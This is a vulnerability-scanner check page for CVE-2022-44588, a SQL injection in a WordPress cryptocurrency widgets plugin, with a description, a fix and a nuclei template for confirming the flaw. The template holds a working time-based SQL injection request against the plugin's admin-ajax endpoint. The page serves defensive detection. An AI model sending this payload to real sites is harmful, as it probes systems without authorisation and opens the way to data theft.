Cryptocurrency Widgets Pack <= 1.8.1 - SQL Injection

criticalseverity

9.8CVSS score

2.4%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

Cryptocurrency Widgets Pack Plugin <=1.8.1 for WordPress contains an unauthenticated SQL injection caused by unsanitized user input in database queries, letting attackers execute arbitrary SQL commands, exploit requires no authentication.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion of sensitive information.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: @timeout: 30s
Positive when: duration >= 8 and status_code == 200 and contains_all(body, "recordsTotal", "recordsFiltered", "draw")

Run it with nuclei: nuclei -id CVE-2022-44588 -u <target>

The full check

id: CVE-2022-44588

info:
  name: Cryptocurrency Widgets Pack <= 1.8.1 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    Cryptocurrency Widgets Pack Plugin <=1.8.1 for WordPress contains an unauthenticated SQL injection caused by unsanitized user input in database queries, letting attackers execute arbitrary SQL commands, exploit requires no authentication.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion of sensitive information.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44588
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cryptocurrency-widgets-pack/cryptocurrency-widgets-pack-181-unauthenticated-sql-injection-2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44588
    epss-score: 0.02449
    epss-percentile: 0.84502
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wp-content/plugins/cryptocurrency-widgets-pack"
  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,cryptocurrency-widgets-pack,unauth

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&draw=1&start=0&length=10&columns[0][name]=EXP(~(SELECT*FROM(SELECT+SLEEP(8))x))&order[0][column]=0&order[0][dir]=ASC HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains_all(body, "recordsTotal", "recordsFiltered", "draw")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from